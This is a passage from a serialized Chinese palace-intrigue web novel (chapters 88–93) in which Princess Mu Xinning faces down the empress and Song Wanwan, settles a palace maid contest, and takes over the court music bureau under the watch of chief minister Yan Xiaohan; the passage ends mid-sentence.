慕馨宁害的郑婕妤小产,皇上不但不责罚慕馨宁,反而赐死郑婕妤,将郑家人都流放了。 她们要是得罪了慕馨宁,会不会跟郑婕妤是一样的下场? 慕馨宁神色如常,端起茶盏,轻抿了一口茶,然后才缓缓开口:“有什么可解释的,当时凶险万分,本宫能全身而退已经是不容易,安世子的事情跟本宫有什么关系,要责怪,也得责怪信武侯府待客不周。” “听说安世子晕倒的地方,跟长公主遇刺的是一个地方,而且经太医检查,安世子是跟那些个黑衣人一起中了迷药,那迷药,不是长公主的人下的吗?” 宋菀菀针锋相对,皇后的脸色越来越难看,桌案下,她的手用力扯着袖子,故作镇静的质问慕馨宁:“长公主,这你该如何解释?” 本以为慕馨宁会惊慌失措,主动向皇后认错,慕馨宁却神色冷淡:“本宫解释什么,你们有什么证据说那药是本宫下的?” 宋菀菀急了:“长公主,你强词夺理!” 第88章 杀了宋菀菀 慕馨宁目光阴沉的瞪着宋菀菀:“既然怀疑本宫害了安世子,你怎么不找大理寺和刑部捉拿本宫,哪容的你在这里狂吠?” 本来慕馨宁就气不顺,宋菀菀竟然还找死,她再不好好教训一下宋菀菀,别人岂不是以为她是个软柿子? 原本还期待皇后发难慕馨宁的宋菀菀,此时脸色像吞了死苍蝇一样难看,该死的慕馨宁怎么越来越伶牙俐齿了! 首位上的皇后理了理头顶的凤钗,一双凤眼落在慕馨宁身气势凌人:“国公府多少还是念及本宫是长公主皇嫂的情分上,所以才没追究此事,不过本宫警告你一句,不要仗着自己长公主的身份嚣张跋扈目中无人,下一次,你可就没这么幸运了。” 即使慕馨宁并不承认是她害了霍承安,但是皇后还是硬把这个罪名给扣在了慕馨宁头上。 慕馨宁冷笑一声,当然不想吃了这个哑巴亏:“皇后娘娘也不必把话说的这么难听,安世子是在侯府吃的亏,凭什么算在臣妹身上。” 不等皇后开口,慕馨宁一副恍然大悟的样子:“莫不是皇后娘娘不敢找信武侯府的茬,所以拿臣妹出气吧?” 皇后气的脸色青白交加,怒拍桌案:“慕馨宁,你放肆!” 原本,皇后是没打算跟慕馨宁翻脸的,只要慕馨宁主动承认错误,多说几句好话,她也可以大人大量,不跟慕馨宁计较。 没想到慕馨宁却半点也不把她这个皇后放在眼里,她颜面何存? 皇后震怒,宋菀菀眼里闪过什么连忙跪下:“皇嫂息怒,或许长公主她不是有意的……” 话音刚落,宋菀菀的脖子上忽然多了一把剑。 宋菀菀吓得一个哆嗦,脸色惨白:“长公主你做什么?” 众人也是吓了一跳,当即都跪在地上,并且低下了头不敢乱看。 皇后又气又怕,慕馨宁这又抽什么风,怎么一言不合就要杀人,宋菀菀好歹是太后义女! 慕馨宁嘴角扯过一抹冷笑:“一个上不得台面的野种,总是在本宫面前挑拨离间,然后假惺惺的跟本宫装好人,本宫杀了你都不为过。” 慕馨宁说着,握紧手里的剑,就要抹了宋菀菀的脖子。 宋菀菀尖叫:“慕馨宁,我好歹也是太后义女,你敢……” 话没说完,宋菀菀的脖子一阵刺痛,鲜红的血液如红色珍珠滑落,染红了她的衣襟。 宋菀菀吓得丢了魂儿,两眼一翻,直接昏死了过去。 “慕馨宁,你简直放肆……”皇后虽然恼怒,但是心里更多的是害怕,因为她想到了什么。 当初慕馨宁造反的事情她怎么可能不知晓,毕竟她是后宫之主。 可是慕馨宁不但造反,还杀了宸妃,直到现在,皇上竟然还没有对慕馨宁动手。 没多久,慕馨宁在春猎上又杀了信武侯嫡子,太后最宠爱的外甥,现在慕馨宁依旧过得好好的,这怎么可能,皇后越想越不可置信。 而且,听贵公公的话,这些日子兄妹两个的关系反倒有些缓和,这到底是怎么回事? 难道慕馨宁有足够强硬的后台,皇上不敢杀她,还是因为慕馨宁还攥了皇上什么把柄? 她虽然是皇后,可是永平帝都不敢得罪慕馨宁,她是不是也应该对慕馨宁和善一些? “本宫身体不适,先回宫了。” 皇后故作疲惫的揉了揉额头,被下人扶着就走,也没管倒在地上的宋菀菀。 她的转变,让其他几个妃嫔大吃一惊,同时也有些劫后余生的感觉,幸好刚刚没有得罪长公主,不然现在她们怕是要落得跟宋菀菀一样的下场了。 慕馨宁自然不会轻易杀了宋菀菀,要是宋菀菀就这么死了,简直是便宜她了。 宋菀菀果然就是扯嘴皮子的本事,胆子这么小,竟然直接吓晕了,没劲。 宋菀菀身边的两个丫鬟吓得大气都不敢喘,忐忑的看了慕馨宁一眼,哆哆嗦嗦的把人拖走了。 “比赛继续。” 慕馨宁理了理袖子,重新坐回自己的位置,看着跪了一地的下人冷声开口。 没一会,其他两个妃嫔也说累了,连忙走了,观赛的只有慕馨宁一人。 直到太阳快落山的时候,比赛才即将收尾。 最后一项是比试厨艺,慕馨宁原本都要睡着了,忽然被杜若扯了扯袖子。 她坐直身子,就见最前头的青茀手上血流如注。 “怎么了?” 青茀刚跪下,她后头的一个宫女开口道:“长公主,青茀她手艺不精,弄脏了比赛的食材,血都流到锅里了。” 青茀头埋得很低,想要解释,又没开口。 杜若走到她的桌案前,竟然从一块萝卜里发现了锋利的刀片:“这谁干的?” 很明显,是有人不想让青茀拔得头筹做宫令女官,所以用了卑鄙的手段。 后面两个宫女低下头,一言不发。 慕馨宁转头对鸦羽道:“查!” 鸦羽应了一声,就退下。 “长公主,奴婢还可以继续参赛,请长公主给奴婢一个机会!”青茀将头贴在地面,恳切道。 慕馨宁点头,看向即将燃尽的香:“还有一盏茶的时间,你能行?” 身后那两个宫女眼里都闪过一抹不屑,一道精致美味的菜肴,最长需要大半天的时间准备,而眼下一盏茶的时间青茀能做什么? 就算她能按时把菜做出来,那定然也是粗鄙不堪索然无味的。 “奴婢可以!”青茀语气坚定。 慕馨宁:“那就继续吧。” 一盏茶的时间过得很快,青茀要包扎伤口,又要重新挑选食材,清除桌案血迹,忙的满头大汗。 慕馨宁都开始犹豫,要不要给青茀走个后门,反正现在只有她一人可做主。 “长公主,时间到了。” 永平帝虽然一早就离席,但贵公公作为裁判留了下来。 他让下人将燃尽的香拿走,示意几个宫女将做好的佳肴端上前。 第89章 一脸惊恐 贵公公捋了捋手手里的拂尘,恭敬道:“长公主做主便好。” “那怎么行,别人还以为本宫徇私。” 贵公公愣了片刻,听慕馨宁这话里的意思,即使青茀做的东西难以下咽,也要让青茀做这个宫令女官了? 他不得已,还是尝了一口,本来想着敷衍一下,没想到竟然让他吃了一惊。 这味道,确实不错。 刻着几个宫女名字的牌子呈上,贵公公看了慕馨宁一眼,待慕馨宁定了人选之后,这才捡了青茀的牌子。 众人皆是大惊,这,这怎么可能? “长公主您不公平,青茀的一道凉拌黄瓜怎么可能比奴婢的八珍煎鹅还好吃?”太后举荐的那个宫女,壮着胆子开口。 宋菀菀举荐的那个宫女也开口附和:“就是,长公主莫不是觉得其他主子都不在,就可以徇私?” 要不是惠明公主被长公主给欺负走了,现在惠明公主定能给她做主,她心里很是恼火。 慕馨宁也不生气,示意下人将青茀做的那道菜让众人都尝尝,很多人都觉得这道菜确实别出心裁。 可是宋菀菀和太后的那两个宫女只是将黄瓜丝刚送入口中,就皱着眉头吐了出来,一副很难吃很嫌弃的样子。 慕馨宁见此,也没给那两个宫女好脸:“若有不服,不如明日请皇上来评选,今日就到这里吧。” 慕馨宁说完,便起身离开。 她没走多远,身后就是一阵乱糟糟,不是说慕馨宁徇私就是说青茀手段卑鄙无耻。 “派两个人,保护青茀的安全。” 杜若一脸不解:“主子,您为什么非要提拔一个从冷宫出来的人?” 怎么就不能借此机会,拉拢两个皇上的嫔妃,向她们卖个好,将来慕馨宁要是遇见什么麻烦,也能替慕馨宁说几句好话。 慕馨宁嘴角上扬,却并未过多解释,她选青茀,自然有她的道理。 次日早朝,就有大臣弹劾慕馨宁狂妄自大,竟然插手后宫的女官擢选,又徇私枉法偏袒青茀。 幸好,昨日之事慕馨宁已经让人传话给永平帝,永平帝决定趁机就让青茀和其他两位宫女再比试一下厨艺,让百官点评。 这一下文武百官没了话说。 倒是青茀有话说,她举起自己昨日被刀片割伤的手,当着永平帝和文武百官的面指认宋菀菀举荐的那个宫女害她。 鸦羽已经给了青茀足够的人证和物证,永平帝下旨,直接将那个宫女杖毙,并且罚了宋菀菀半年的俸禄。 早朝的事情慕馨宁并不知情,她入宫的时候已经是巳时,再过一个时辰就中午了。 “主子,昨日确实有人要对青茀下手,头一次是下毒,第二次是差点把人推进池塘里。” 鸦羽跟在慕馨宁身后禀报。 慕馨宁笑了笑,宫令女官,不只位高权重,还有大把油水可捞,对青茀下毒手的幕后之人就是看中了这一点。 但是慕馨宁知道,虽然永平帝同意让青茀担任宫令女官,也只是在接待北赫的事情上,并不会委以重任。 等北赫使臣离开,没准儿永平帝又把人给关进冷宫里了。 “殿下,今日一早,青茀和其他两位宫女的厨艺比试已经结束,皇上钦点青茀为宫令女官。”刘营将刚得到的消息告诉了慕馨宁。 慕馨宁点了点头,将一本折子递给刘营:“交给青茀,让她按照上面的办。” “还有一事……”刘营接了折子,并没急着走。 慕馨宁看他,他就将有人弹劾晏骁寒的事情说了。 一人之下万人之上的首辅大人,好像许久都没有人弹劾过他了。 具体一些说,就是有人弹劾晏骁寒纵容手下官员徇私枉法贪污受贿,其证据确凿,晏骁寒当然会受到牵连。 这一点慕馨宁早就料到了,毕竟她就是那个幕后主使。 她有些好奇:“皇上怎么惩治的晏骁寒?” 贬官不可能,用刑也不可能,但是太后那边的人不会错过这次对付晏骁寒的机会,定会争执不休。 刘营:“罚俸三个月。” 慕馨宁差点笑出声来,他的好皇兄,这罚俸的手段简直是用的得心应手。 “主子,咱们去哪里?”杜若见慕馨宁并未去御书房,也没说去见青茀,一时间有些好奇。 慕馨宁:“乐府。” 华乐宫是宫廷乐人和歌姬舞姬任职的地方,这些能入皇宫的乐人和歌姬舞姬,定是各怀绝技,满腹才学。 如今,北赫使臣即将来东陵,宫宴上,乐曲歌舞是必不可少的,这也是代表东陵的文化传承和发展,慕馨宁当然要着重安排。 杜若有些担忧,外头传言,长公主无才无德,大字不识几个,更别提琴棋书画诗词歌赋了。 如今慕馨宁要驾驭乐府,怕是难以服众,还不知道要惹出什么麻烦来。 杜若犹豫了一下,结结巴巴的道:“那东陵使臣来是求和,低声下气的是他们,您何必如此劳心劳力,面子功夫做足就行了。” 慕馨宁呵呵两声:“你想的太简单,你以为,来东陵的只有北赫国使臣?” 这些年,太后和信武侯实力强大,一直想要把持朝政。 永平帝刚登基不久,龙椅还没坐稳,太后和信武侯等众人又经常作怪,东陵国国运衰败、内忧外患。 要不是晏骁寒和永平帝有点手段,东陵国早就被其他几国分食殆尽了。 如今,北赫国虽然是来求和,也未必是真心实意,还不知要闹出什么乱子,其他几国没准儿也会来看热闹,趁机分上一杯羹呢。 所以,这次的宫宴,她一定要办好,定要让各国对北赫刮目相看,她要让所有人都知道,她慕馨宁的真本事。 慕馨宁到乐府的时候,有几个主事正围着一个身着深绿色官服的男子说话。 看侧脸和背影,有几分眼熟。 有人见了慕馨宁,当即就要行礼问安,慕馨宁抬了抬手,示意她去忙。 “府令大人,听说皇上让长公主负责接待北赫的一切事宜,长公主还要来插手我们乐府的表演,是不是真的?” 男子肃着一张脸,语气冷淡:“是与不是,都不重要,大家各司其职安分守己就可。” 有人满面愁容:“可是,长公主能懂什么曲韵乐律,还要来插手我们乐府的事情,以她的秉性,定会一阵指手画脚,咱们乐府怕是要乱作一团了!” 领舞的舞姬柳滟翻了个白眼,当即开口附和:“就是,我们虽然不是什么朝廷命官,但也是有傲骨的,让她一个臭名昭著一无是处的女人来对我们颐指气使,真是岂有此理!” “府令大人,您快想想法子,别让她来作践我们了行不行?” 柳滟气的眼睛都要红了,语气半是幽怨,半是撒娇,其实她喜欢府令大人许久了。 深绿色官服的男子沉默片刻:“本官想想办法。” 柳滟顿时又惊又喜,大人这是心里有她,所以才会这么说的吧? “我倒是有个办法。”身后响起一道女子的声音。 那几个贬低慕馨宁的人顿时一脸喜悦: “什么办法……” “你快说说……” 话音未落,他们就看清了来人的模样。 几人顿时一脸惊恐起来,本能的躲到了那位府令大人身后,哆哆嗦嗦的给慕馨宁行礼。 “见过长公主……” “长公主万福……” 霍承安见了慕馨宁面色微僵,并没有主动开口。 慕馨宁走到他面前,盯着他那身深绿色的官服有些吃惊,原来霍承安还有这么一重身份。 一想起霍承安和那几个人的对话,她嘴角的笑冷了几分,话里的嘲讽毫不掩饰:“不如,霍大人说说你的法子,本宫再说说本宫的法子,我们看看哪个办法最有用如何?” 第90章 面如傅粉,唇若抹朱 杜若咬唇,轻轻扯了扯慕馨宁的衣袖,这可是皇后的亲弟弟,安国公世子霍承安,自家主子刚跟皇后翻脸,这要是再得罪了安世子,岂不是与国公府为敌了? 霍承安清冷的俊脸上多了几分难堪,忽然想到什么,顿时怒不可遏。 一声脆响,手上的玉扳指直接被捏的粉碎。 “那日,我好心救长公主,却险些葬身火海,长公主还没给我个解释。” 慕馨宁挑眉:“什么解释,你一出现,黑衣人就来了,本宫还怀疑那些个黑衣人是你领来的。” 柳滟自然不忍心自己喜欢的人被长公主欺负,于是便道:“长公主,府令大人心地善良,定不会害您,您肯定误会他了。” 慕馨宁冷着脸转头看她,柳滟一个哆嗦,连忙地下了头,无声躲到霍承安身后,大气都不敢喘。 霍承安定定的看了慕馨宁良久,脸上满是失望。 碎裂的玉扳指用力握紧,掌心传来一阵刺痛:“怪不得你如此冷漠,原来你是这样想的,恩将仇报,也不过如此吧。” 那日,他好心去救慕馨宁,却被慕馨宁给迷晕了。 慕馨宁自己跑了,却把他丢在那里不管不顾,他差点被烤成肉干。 这也就算了,他回府养病,慕馨宁竟然也没去看望过,就连派个下人去问候他都不曾,如今却还怀疑自己害她,他这辈子都没受过这样的屈辱,真是岂有此理! 感受到霍承安脸上的隐忍,慕馨宁勉强道:“好吧,那这件事就算本宫的错,本宫定会让人奉上赔礼。” 霍承安脸色发黑,这是在敷衍他?他一个国公府世子,差那点赔礼? 他在意的是慕馨宁的态度。 气氛有些尴尬,好一会,才有人壮着胆子硬着头皮打圆场: “长公主来,是要听曲子吗,我们乐府正巧谱了一首新曲,这可都是府令大人的功劳,不如您欣赏一下,给我们大家提点提点?” “奴婢这就去请舞姬,长公主再看看她们舞跳的如何?” 慕馨宁冷冷扫过几人,刚刚他们贬低她的话,她可还记的清清楚楚。 那几个人感受到慕馨宁眼神里的压迫,顿时感觉腿都软了,他们不怕死,就怕生不如死。 慕馨宁臭名昭著,折磨人的手段肯定也是别出心裁,太恐怖了! “好啊。” 没想到慕馨宁竟然没有追究,痛快的答应了。 几人连忙张罗起来,柳滟看慕馨宁的目光里闪过一抹厌恶,不就是投了个好胎么,有什么可得意的?。 没一会,舞乐就准备好了,柳滟站在舞姬的最前头翩翩起舞,她一遍跳一边看向霍承安,恨不得把自己的腰扭断了,只为博霍承安一笑。 几口茶的时间,慕馨宁便拍桌子了:“什么曲子,本宫听的都快要睡着了,还有你们这些个舞姬,没骨头吗,还是早上没吃饭?” 几人对视一眼,他们就说长公主什么也不懂,这么好的曲子这么好的舞蹈,慕馨宁竟然欣赏不来,这对慕馨宁而言,跟牛嚼牡丹没什么区别吧,竟然还挑他们的错处,可笑。 慕馨宁看见了大多数人脸上的不屑,她转头看向一旁的霍承安:“霍府令,你觉得如何?” 就算霍承安是国公府世子,皇后的亲弟弟,但在职言职,霍承安现在担任乐府令一职,那就只是正六品官,就算慕馨宁故意为难他,他也不好翻脸。 霍承安拱手:“还请长公主赐教。” 曲子舞蹈都是他亲自钻研调整过的,慕馨宁竟然如此不满,想必是有真本事了? 可是他太了解慕馨宁了,她能有什么本事,估计就是气不顺乱发脾气而已。 柳滟眼睛转了转,故作崇拜的对慕馨宁道:“听说前些日子春猎,长公主在席间表演了琵琶还唱了曲子,好些人都夸赞长公主,不如长公主再露一手,让我们大家也开开眼。” 有人已经壮着胆子将琵琶递了上来,霍承安竟然有几分期待。 很不巧,那几日他并不在京城,也没听见慕馨宁的弹唱。 如今,慕馨宁真的会让大家刮目相看吗? 慕馨宁看了看柳滟,又看了看递了琵琶的那个乐人,她冷笑一声,嘲讽道:“怎么,想让本宫下不来台,你们有这么大的本事算计本宫,怎的如今还没飞黄腾达?” 二人脸色一白,齐齐跪地求饶:“长公主恕罪……” 外头窗前,有一道人影闪过。 宋菀菀带着人就站在了不远处的树根底下,天气渐渐炎热,她今日竟然穿了高领的衣衫,只为了遮挡脖子那处的伤疤。 她竖起耳朵,听了一会里头的动静,然后对身后的宫女道:“去,把皇上请过来,就说长公主故意为难乐府里的人,怕是要闹出人命来了。” “是,公主……” 此时,御书房。 永平帝看着各国呈上来的国书有些焦头烂额。 “这怎么一个个的都想来我东陵?” 自打他登基,他国使臣三年都不来一个,如今却一窝蜂的要来东陵,这是为了什么? 晏骁寒将手里的茶盏放下,淡声道:“或许,是来凑热闹吧。” 事情怎么可能会这么简单? 永平帝和晏骁寒对视一眼,心照不宣。 两个人正要商讨如何应对此事,贵公公领着宋菀菀的宫女进来,那宫女添油加醋的将乐府的事情说了,详细是详细,可是几个人都没听明白到底发生了什么。 永平帝脸色难看:“好一个长公主,就会给朕添麻烦!” 贵公公脸色古怪,一声不吭的低下了头。 永平帝一抬头,就注意到了他的举动:“小贵子,你这是什么表情?” 贵公公有些慌,硬着头皮道:“奴才听说,乐府有个叫霖州的,相貌英俊,面如傅粉,唇若抹朱……” 长公主不会是因为那个霖州,所以才闹起来的吧? 慕馨宁并不知道这个贵公公心思这个活泛,她表示很无辜,直到现在她也没注意到霖州的身影。 贵公公说完,小心翼翼的看了晏骁寒一眼,又连忙低下了头,并且往后退了退,尽量减少自己的存在感。 永平帝有些头疼,又有些兴奋,慕馨宁又惦记上了别的男人,晏骁寒迟早会主动求他解除婚约的吧? 没准晏骁寒一个气急败坏,直接替他收拾了慕馨宁,他还省的麻烦了。 要是这样,那他也不用担心晏骁寒被慕馨宁给勾搭走,反过来算计他的江山了。 永平帝站起身,对晏骁寒道:“爱卿,朕脊背有些酸涩,不如我们出去走走,活动活动。” 晏骁寒:“是。” 那传话的宫女一喜,连忙回去禀报宋菀菀,主仆二人都盼着慕馨宁被永平帝治罪。 路上,永平帝把玩着腰间的玉佩,忍着头顶火辣辣的太阳,转头看了晏骁寒一眼:“朕让人查过了,太后心腹手里针对你的证据,是长公主给的。” 第91章 小模样不错 晏骁寒脚步一顿,随即若无其事的继续往前走:“那几个人,草菅人命贪赃枉法,确实该死,臣心中惭愧,幸亏她出手揭穿,否则臣还被蒙在鼓里。” 其实不用皇上说,他早就让人查清楚了。 永平帝一脸惊愕,不是吧,你短短三年,能爬到如今的位置可不是因为心慈手软,你的手段呢,好歹报复慕馨宁一下吧? 晏骁寒面色严肃起来:“您罚了臣三月俸禄,确实有些轻了,不如就罚俸一年吧。” 永平帝差点没栽个跟头,他看晏骁寒的眼神,就跟看一个陌生人一样,这人,疯了吧? 晏骁寒虽然面色如常,但是心里很是复杂,他只被罚俸,想必那女人定会觉得可惜吧。 她什么时候恨上他了? 几人到乐府的时候,就听见里头似有若无的歌声,不似那些歌姬和乐人的声音。 宫里的歌姬或者乐人唱的曲调大多是婉转动听,如溪水潺潺、珠落玉盘。 而此人唱的曲调,满是肆意潇洒,不拘小节,仿佛在娓娓道来一个撩人心弦的故事。 声音有些耳熟。 宋菀菀见由远而近的人影,匆忙躲到了角落里。 她请永平帝来,本来是想让永平帝看慕馨宁嚣张跋扈草菅人命的样子,好好收拾慕馨宁一顿。 没想到慕馨宁竟然没要他们的命,反而还亲自弹奏一曲,真是犯贱的很。 若是晏骁寒看见她这般卖弄风骚,定会对她产生好感的,真是气死她了! “几番风雨才算走遍天涯……倒也罢,愿仗剑纵马……了恩怨不误看桃花……” “待她笑颜如花,笔墨山河入画……金戈铁马且不及你灼灼风华……身影恣意潇洒四海为家……抵不过他一缕牵挂……” 殿里,慕馨宁素颜如雪,一身铜绿绣百蝶争春裙装端坐于琴案前,葱白如玉的手指行云流水的拨弄琴弦,艳如丹霞的唇瓣轻启,声音清澈悦耳朗朗上口。 所有人都惊呆了,没想到慕馨宁竟然真有艳压群芳的本事,这比东陵的第一才女不知强上多少倍。 其实,慕馨宁也不想这样抛头露面。 但是你想要所有人都乖乖听从你的安排,必须要以能力服众。 永平帝一脸复杂,之前他确实是让慕馨宁负责接待北赫使臣,可是自打他收到另外几国的国书之后,就打算换人了。 毕竟这件事太过重大,他对慕馨宁一点信心都没有,如今再看慕馨宁的本事,他又有些犹豫。 他不经意间,看见了晏骁寒黑沉的脸色。 永平帝一脸诧异的顺着晏骁寒的目光看过去,就瞧见了慕馨宁对面的男子。 慕馨宁的双眼,好似一直是盯着对面的俊俏男子瞧,其实她也不知道自己眼前是什么,脑海里都是晏骁寒的影子。 她想起了慕映灼送给她的那副画,金戈铁马中,晏骁寒身骑骏马意气风发,绝代风华,可不是跟这歌词唱的一样。 即使晏骁那般羞辱她,她还是些不忍心杀他了怎么办? 不行到时候就把人软禁起来,她一个人独享,玩儿够了再杀? 随即,她又转变了想法,算了,不杀了,还是一直软禁着吧,她百年时,就让他一起陪葬…… 窗外,贵公公小声对永平帝道:“皇上,他就是霖州……” 是不是长得很俊俏,虽然比晏骁寒差一点,那也算得上东陵名列前茅的美男了吧? 永平帝内心复杂,晏骁寒这是吃醋了? 一曲毕,片刻的安静之后,就是众人连连夸赞的声音。 慕馨宁并不觉得有什么值得骄傲的,她抛头露面也不只是为了拿捏乐府这些个人,更是为了之后另一个筹划能顺利完成。 “长公主果然跟外界传言的不一样,您的才华简直是令人惊叹!”霖州捏着折扇上前行礼,对着慕馨宁真诚的夸赞。 慕馨宁扫了霖州一眼,就觉得这人小模样不错,就是比晏骁寒差一点。 一旁的霍承安许久才回神,他垂眸,敛下眼里的震惊,可是袖管里的手却紧握成拳,青筋暴起。 不可能,这不是他认识的慕馨宁! “见过首辅大人!” 不等霍承安开口,就传来众人恭敬的行礼问安声。 此时,门口只站了晏骁寒一人, 永平帝已经走了,他可不想看见自己的爱卿和亲妹妹翻脸。 晏骁寒身姿修长挺拔,面色微沉,看向慕馨宁时,周身都散发着冷气。 这个女人,他当初的警告忘了也就算了,明明他已经对她表明的心意,为什么还如此见异思迁? “你怎么来了?” 相比慕馨宁的冷淡疏远,那些个歌姬舞姬别提多激动了。 她们怯怯的盯着晏骁寒那张俊美绝伦的脸,想看又不敢看的样子,都绞尽脑汁琢磨怎么接近他。。 霍承安上前向晏骁寒行礼,也问道:“晏首辅日理万机,怎么大驾光临,来乐府了?” 晏骁寒负手看霍承安,要说慕馨宁对霖州有非分之想,那眼前这个霍承安对慕馨宁怕是也有了不该有的心思吧。 刚刚霍承安看慕馨宁的表情,有不甘,有怨恨,还有不舍的情意。 他倒是不知,两个人什么时候有了那层不可告人的关系。 晏骁寒心里一阵冷笑,这女人,果然是个不安分的。 “南岳和西梁以及附近的边陲小国也要来我东陵,皇上担心长公主一人无法应付,特意安排本官同长公主一起操办接待各国使臣的一切事宜。” 所以这乐府,慕馨宁来得,他晏骁寒也来得。 此话一出,众人都很震惊。 慕馨宁对这件事并不意外,只是永平帝让晏骁寒和她一起接待各国使臣,也不知道晏骁寒会不会给她使绊子。 实在不行,她就撒手不管,让晏骁寒主持大局? 就在慕馨宁犹豫要不要自己主动卸任的时候,晏骁寒对慕馨宁开口:“皇上说,若是这次你办的好,定会有重赏。” 慕馨宁心思活泛起来,要是她当着各国使臣的面,向永平帝讨赏回封地,永平帝应该不会拒绝吧? 第92章 拭目以待 南岳来回正巧走的是梧州的路线,若是她能跟着南岳使臣一起走,也不怕永平帝和晏骁寒等人对她痛下杀手了。 “好,皇上可要说话算数。” 看着慕馨宁脸上难掩的喜色,晏骁寒心头微沉,这女人,在想什么? 霍承安想起正事,将一本折子递到慕馨宁跟前:“长公主,晏首辅,这是我们乐府商议好的表演流程,还请二位过目。” 慕馨宁没接:“表演流程本宫已经安排好,就不劳你费心了。” 霍承安的脸色很难看,慕馨宁这是什么意思,这是要越过他,直接做乐府的主了,简直是半点也没有把他放在眼里。 这个女人是忘了,他虽然挂着六品乐府令的闲职,毕竟是安国公世子,东陵的国舅。 霍承安即也没有直接反驳慕馨宁,而是转头看向晏骁寒: “晏首辅,您是不是也觉得长公主如此做派很是不妥,若是因她一己之见害的东陵在宫宴上丢了颜面,岂不是追悔莫及?” 虽然晏骁寒跟慕馨宁有了婚约,但是谁不知道慕馨宁在晏骁寒眼里什么也不是。 当初皇上送晏骁寒四个美人,慕馨宁也送了四个,表面看慕馨宁是对晏骁寒纳妾一事宽容大度,实则还不是知道自己不得晏骁寒喜欢,所以才上赶着巴结讨好的? 霍承安原本想着“借刀杀人”,别看慕馨宁是长公主,晏骁寒对付她却轻而易举。 可是,晏骁寒并没有直接否认慕馨宁的蛮横,他一双星眸看向慕馨宁:“长公主,不知本官可否了解一下你设定好的流程?” 慕馨宁抬了抬下巴,杜若将一本折子递给了晏骁寒。 晏骁寒本来只想粗略的扫上一眼,觉得没什么太大的问题就可,可他定睛一瞧,有些出乎意料。 霍承安看见他微变的脸色,顿时有些好奇:“晏首辅,是不是哪里有些不妥?” 晏骁寒没回应,而是看向慕馨宁,慕馨宁抬了抬手指,晏骁寒便将手里的折子给了霍承安。 霍承安看见上头的内容,差点一口气没上来。 “长公主未免太天马行空了,仙女飞天、枯树生花,大变活人,夜亮如昼……这……” 慕馨宁怕是受了什么刺激吧? 仙女飞天可以找个轻功好的女子,可是其他三样,慕馨宁怎么可能做得到? 霍承安一脸复杂的看向晏骁寒,不行还是给慕馨宁找个大夫瞧瞧吧。 乐府的表演他会安排好的,若是得了皇上太后的恩赏,也不吝啬将这个功劳让给慕馨宁。 霍承安收回思绪,目光又落在面前的折子上,当他看见上面的字迹之后,脸色瞬间大变:“长公主,这是你的字?” 慕馨宁点头。 “不,不可能……”霍承安语气肯定,毕竟他是认得慕馨宁的字迹的。 这折子绝对不是慕馨宁写的,否则眼前的人就根本不是慕馨宁。 其实慕馨宁字迹有了变化,晏骁寒早就发觉了,并且让人查过了,他能确定眼前的慕馨宁就是原来那个嚣张跋扈的长公主,如假包换。 但是慕馨宁的性情变化,凭空多出来的才能,直到现在他也没有查清缘由。 慕馨宁蹙眉看霍承安,有些不解:“本宫和你不熟吧,你怎么认得本宫的字迹? 霍承安心头一紧,含混道:“以前偶然间见过长公主的字迹。” 慕馨宁也没有过多的怀疑:“所谓境随心转,字迹也一样,这没什么稀奇的。” 她这话,也有那么几分道理,可是晏骁寒和霍承安都觉得事情并不是这么简单。 晏骁寒咳嗽一声,言归正传:“你确定,你的表演,真的能顺利完成?” 慕馨宁点头,语气肯定:“当然。” 晏骁寒喝了口茶,然后对霍承安道:“那就暂且听从长公主的安排吧。” 霍承安心中疑惑,什么时候这两个人竟然是一条心了,晏骁寒不会真的喜欢上慕馨宁了吧? 慕馨宁问过众人的特长之后,将准备好的曲谱和词谱分发了下去,别的还行,但是歌姬舞姬这里还是要着重培养。 这些个歌姬舞姬,惯会讨好男人,把聘婷婀娜、温柔妩媚展示的淋漓尽致,可是慕馨宁不喜欢,每个人就要有每个人的气质才行。 “长公主,您对霖州委以重任,霖州一定不辱使命!” 霖州看着手里新的曲谱,对慕馨宁满是倾慕之色。 刚刚慕馨宁的表演太完美了,简直是如闻天籁。 还有手里的这一首曲子,更是惊艳,仿佛把他心里所有想要表达的都完美的呈现了出来,慕馨宁简直就是他的知己、伯乐! “有什么不懂的,可以随时问本宫。” 慕馨宁将手里的茶盏放下,随手抓了一个核桃,但是核桃皮太硬,她一时间无从下手。 就在她准备将核桃放回去的时候,霖州的手忽然伸到她跟前:“殿下若是不嫌弃,霖州来吧……” 慕馨宁看着他那张唇红齿白的脸,还没等好好欣赏,陡然感受到一股莫名的寒意。 她不经意看见不远处那张森寒的俊脸,心头一颤,当即将手里的核桃放回桌上,朝着霖州干笑一声:“不用,你去忙吧。” “你们自便,本宫先走了。”她丢下这句话,就起身出门。 晏骁寒也要走:“本官还有事,你们忙吧。” 那些还在等机会跟晏骁寒多接触的歌姬舞姬们,顿时一阵失望。 慕馨宁和晏骁寒一走,几十个人将霍承安团团围住: “府令大人,您怎么任由长公主胡作非为,她也太过分了!” “府令大人,我们一起去找皇后娘娘吧,皇后娘娘一定会给我们做主的!” 霍承安面色清冷,慢条斯理的轻捻手里的珠串:“本官也好奇,枯树生花,大变活人和夜亮如昼是何情景,不如我们……拭目以待吧……” 说完,他大步出了人群。 出了乐府,晏骁寒依旧在慕馨宁的一米距离之内,慕馨宁心头烦闷的不行,不由得加快了脚步,想要将人甩开。 可是她累的直喘粗气,晏骁寒依旧脸不红气不喘的就在她身边。 慕馨宁不得已,故意放慢速度整理衣摆,晏骁寒就顿住脚步等她。 慕馨宁气不打一处来:“晏首辅有何贵干,为什么总跟着我?” 莫不是这厮知道她利用太后的心腹算计他的事情了? 第93章 给他收尸 晏骁寒欣长挺拔的身姿,立在开的正艳的海棠树下,人比花还要灿烂夺目。 慕馨宁盯着看了一会儿,忽然有一瞬间的心猿意马,刚刚,她怎么用那么差的语气跟他说话? 很快,她又开始懊恼自己的自作多情,你对他心软,他欺辱你的时候可是毫不留情的。 没想到晏骁寒却问:“本官送你的礼物,你可收到了?” 既然收到了,为什么还不安分,是不是天底下长得好看的男人,她都要招惹? 慕馨宁听了,顿时嗤笑一声:“什么礼物,两节树枝吗,晏首辅可真是好大的手笔,果然是满腹才学,羞辱人都不带一个脏字。” 晏骁寒原本冷峻的脸上,渐渐有了裂痕:“你竟然是这么想?” 慕馨宁挑眉,语气满是讥讽:“不然呢,你不会以为,你送两根破树枝,本宫还觉的你看重本宫,想要和本宫白头偕老吧?” 看着晏骁寒渐渐黑沉下来的面色,慕馨宁不但没有惧怕,反而上前两步。 她直接伸手,在晏骁寒的劲腰上狠狠摸了一把,盯着他那张风华正浓的俊脸,意味深长的道: 